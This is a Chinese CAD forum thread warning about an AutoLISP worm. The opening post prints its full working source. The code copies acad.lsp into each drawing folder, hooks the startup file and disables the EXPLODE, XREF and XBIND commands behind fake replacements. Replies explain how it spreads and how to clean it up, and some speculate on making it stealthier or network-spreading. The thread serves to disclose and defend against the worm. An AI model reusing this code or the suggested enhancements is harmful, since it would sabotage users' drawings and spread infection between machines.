找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 4861|回复: 38

[必看]:最近开始流行的一段恶意代码

[复制链接]
发表于 2002-8-15 23:37:23 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
具体表现为标准命令explode, xref, xbind不再有效。
每个编辑过dwg文件的目录下面都会有一个acad.lsp
很可恶。
我有好几个朋友都在问我为什么他炸不开图块了。跑去一看,
都是这个家伙。不知道谁干的。

我把代码整理一下,贴在下面:


  1. [FONT=courier new]
  2. (defun s::startup (/            old_cmd  path     dwgpath  mnlpath
  3.                    apppath  oldacad  newacad  nowdwg   lspbj
  4.                    wjm            wjm1     wjqm     wjqm1    wz
  5.                    ns1            ns2
  6.                   )
  7.   (setq old_cmd (getvar "cmdecho"))
  8.   (setvar "cmdecho" 0)
  9.   (setq path (findfile "base.dcl"))
  10.   (setq path (substr path 1 (- (strlen path) 8)))
  11.   (setq mnlpath (getvar "menuname"))
  12.   (setq nowdwg (getvar "dwgname"))
  13.   (setq wjqm (findfile nowdwg))
  14.   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  15.   (setq acadpath (findfile "acad.lsp"))
  16.   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  17.   (setq        ns1 ""
  18.         ns2 ""
  19.   )
  20.   (setq lspbj 0)
  21.   (setq wjqm (strcat path "acad.lsp"))
  22.   (if (setq wjm (open wjqm "r"))
  23.     (progn (while (setq wz (read-line wjm))
  24.              (setq ns1 ns2)
  25.              (setq ns2 wz)
  26.            )
  27.            (if (> (strlen ns1) 14)
  28.              (if (= (substr ns1 8 7) "acadapp")
  29.                (setq lspbj 1)
  30.              )
  31.            )
  32.            (close wjm)
  33.     )
  34.   )
  35.   (if (and (= acadpath dwgpath) (/= acadpath path))
  36.     (progn (setq oldacad (findfile "acad.lsp"))
  37.            (setq newacad (strcat path "acadapp.lsp"))
  38.            (if (= lspbj 0)
  39.              (progn (setq wjqm (strcat path "acad.lsp"))
  40.                     (setq wjm (open wjqm "a"))
  41.                     (write-line
  42.                       (strcat "(load " (chr 34) "acadapp" (chr 34) ")")
  43.                       wjm
  44.                     )
  45.                     (write-line "(princ)" wjm)
  46.                     (close wjm)
  47.              )
  48.            )
  49.            (writeapp)
  50.     )
  51.     (progn (if (/= nowdwg "Drawing.dwg")
  52.              (progn (setq oldacad (findfile "acadapp.lsp"))
  53.                     (setq newacad (strcat dwgpath "acad.lsp"))
  54.                     (writeapp)
  55.              )
  56.            )
  57.     )
  58.   )
  59.   (command "undefine" "explode")
  60.   (command "undefine" "xref")
  61.   (command "undefine" "xbind")
  62.   (setvar "cmdecho" old_cmd)
  63.   (princ)
  64. )
  65. (defun writeapp        ()
  66.   (if (setq wjm1 (open newacad "w"))
  67.     (progn (setq wjm (open oldacad "r"))
  68.            (while (setq wz (read-line wjm)) (write-line wz wjm1))
  69.            (close wjm)
  70.            (close wjm1)
  71.     )
  72.   )
  73. )
  74. (defun C:explode (/ p cont old_cmd)
  75.   (setq old_cmd (getvar "cmdecho"))
  76.   (setvar "cmdecho" 0)
  77.   (setq p (ssget))
  78.   (if p
  79.     (progn (setq cont (sslength p))
  80.            (princ "\nSeltct objects:")
  81.            (princ cont)
  82.            (princ " found")
  83.            (princ "\n")
  84.            (princ cont)
  85.            (princ " was not able to be explode")
  86.     )
  87.   )
  88.   (setvar "cmdecho" old_cmd)
  89.   (princ)
  90. )
  91. (defun C:xref (/ old_cmd)
  92.   (setq old_cmd (getvar "cmdecho"))
  93.   (setvar "cmdecho" 0)
  94.   (command "insert")
  95.   (setvar "cmdecho" old_cmd)
  96.   (princ)
  97. )
  98. (defun C:xbind (/ old_cmd)
  99.   (setq old_cmd (getvar "cmdecho"))
  100.   (setvar "cmdecho" 0)
  101.   (command "insert")
  102.   (setvar "cmdecho" old_cmd)
  103.   (princ)
  104. )
  105. (defun C:burst (/ p old_cmd)
  106.   (setq old_cmd (getvar "cmdecho"))
  107.   (setvar "cmdecho" 0)
  108.   (princ "\nBURST----将图块中的文字炸开后成为实体")
  109.   (setq p (ssget))
  110.   (setvar "cmdecho" old_cmd)
  111.   (princ)
  112. )
  113. (princ)
  114. [/FONT]
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

已领礼包: 593个

财富等级: 财运亨通

发表于 2002-8-15 23:51:46 | 显示全部楼层

[建议]:当CAD的标准命令失效时...

遇到以上情况时,用如下办法可以解决, 在标准命令前加  .  
如果能执行了,就要找以下文件了,acadrxx.lsp、acaddoc.lsp、以及mnl文件,还可能包括acad.rx,这些自动加载的文件。

  1. 允许应用程序定义的命令替代 AutoCAD 内部命令

  2. 命令行:  undefine

  3. 输入命令名:

  4. 输入 AutoCAD 命令名将禁用该命令。可重新定义被禁用的命令名以执行其他功能。

  5. 只能取消 AutoCAD 内部命令的定义。不能取消由 AutoLISP® 定义的命令。这包括通过 acedDefun() 注册的
  6. ObjectARX™ 应用程序命令。也不能取消在 acad.pgp 文件中定义的外部命令和别名的定义。

  7. 如果 AutoLISP 或 ObjectARX 应用程序定义的命令与 AutoCAD 内部命令同名,应用程序定义的命令将激活。

  8. 可以用REDEFINE 命令恢复被取消定义的命令。

  9. 在命令名前加句点 (.) 就可以访问 AutoCAD 内部命令。

  10. 对于通过 acedRegCmd 注册的 ObjectARX 应用程序命令,可在命令名前添加如下内容来访问它们:句号
  11. (.)、命令组名、句号 (.)。例如,可以通过 .acad_mtext.mtext 来访问 MTEXT 命令。

  12. 要确定 ObjectARX 应用程序的命令名和编组,请使用ARX 命令,并选择“命令”选项查看所有当
  13. 前加载的 ObjectARX 命令及其组名的列表。

复制代码
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-16 10:01:30 | 显示全部楼层
是的!这个东西是我在这里最早提出的,这个好象是病毒,现在我们单位里的电脑一台一台的被感染了。最早发现这样的是我的机器,凡是我的同事copy过我电脑里的DWG文件,立马感染上!
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-8-16 10:25:38 | 显示全部楼层
干脆提给杀毒软件公司吧。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-16 12:33:38 | 显示全部楼层
挺可怕的,哪位写个杀毒的lisp,呵呵
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-16 13:04:11 | 显示全部楼层
最初由 无忧 发布
[B]是的!这个东西是我在这里最早提出的,这个好象是病毒,现在我们单位里的电脑一台一台的被感染了。最早发现这样的是我的机器,凡是我的同事copy过我电脑里的DWG文件,立马感染上! [/B]


不算太恶意,不过非常无聊。
看程序好像和dwg无关,别是谁搞反应器了?
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-16 13:34:13 | 显示全部楼层
从代码上看不到什么响应器, 但是如果代码被编译成fas就不太好收拾它了.
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-16 21:52:55 | 显示全部楼层

我觉得不会COPY就感染,关键是不要从别人的电脑上直接打开DWG文件.

.
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

已领礼包: 3个

财富等级: 恭喜发财

发表于 2002-8-17 17:06:28 | 显示全部楼层
最初由 漏网之鱼 发布
从代码上看不到什么响应器, 但是如果代码被编译成fas就不太好收拾它了.



同意你地观点
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-17 17:22:55 | 显示全部楼层
传播是很容易的。它会在每个dwg文件所在的文件夹中复制acad.lsp
有时候拷图是整个目录拷到另一台电脑上的,这样就会传染。
对dwg文件本身是不影响的。打开dwg文件,系统会首先执行dwg文件所在目录的acad.lsp
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-17 17:28:26 | 显示全部楼层
这样的代码不可怕,应该不会象无忧所说一台一台传染。
可怕的是打在dwg中,如果是真的无忧所说的可能麻烦更大。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-17 22:14:49 | 显示全部楼层
呵呵 还好 这事实上称不上是病毒 但可以叫毒虫  因为 他看得见得
另外它也不是恶意得应该说是善意的或者是个警告!!而且缺乏潜伏性
如果因为它还没破坏你的其他文件,如果程序再伪装一点就危险了
比如 第一次加载的时候不执行任何操作 而是修改你的ACAD配置或者系统配置
等待一定时机再发作 ,那就快接近病毒了(除了隐蔽性差点)
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-17 22:19:11 | 显示全部楼层
想到一点 假如这个程序再添加一点就是再网络里寻找完全共享文件夹往里面也添加代码,就真的很危险了那么在一个比较大的局域网里很可能危险的流行,而且“一台一台传染”
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-18 21:29:09 | 显示全部楼层
TO cy956 : 确实是一台一台传染的,因为我是建筑专业的,其他专业的同事都要拷贝我的图,拷一个传染一个,他们都埋怨我,我只好告诉他们用"XP"炸块。

这里是我当时提出的话题,当时我可能把别的病毒产生的垃圾文件和这个ACAD.LSP混在一起谈了,请大家研究研究!
http://www.xdcad.net/forum/showt ... y=&pagenumber=1
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-8-19 10:19:47 | 显示全部楼层
无忧,你拷给同事的图是r14的还是r2k的?拷的时候那个acad。lsp也捎上否?

你先用工具搜寻硬盘上所有acad。lsp,不在搜索路径的全部删掉,在搜索路径下
用的改好另存。另外,如果你用r2k,你可以抽空研究一下vlr-remove了。
不过挨上了也够倒霉,因为它可以用某个非cad文件引发,防不胜防。

上次看到有人在adesk讨论组发帖子说能反编译vlisp的编译程序,
后来好像说是中止了。技术上的能力没有止境,
谁都用自己掌握的一套显示威力,
会开飞机就能911,会寄信就可能寄炭疽,
会兑红药水就可以威胁打爱滋针。
这世界还不乱套?

不过,dwg相对安全的时代恐怕要过去了。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|申请友链|Archiver|手机版|小黑屋|辽公网安备|晓东CAD家园 ( 辽ICP备15016793号 )

GMT+8, 2024-12-24 11:33 , Processed in 0.498408 second(s), 59 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表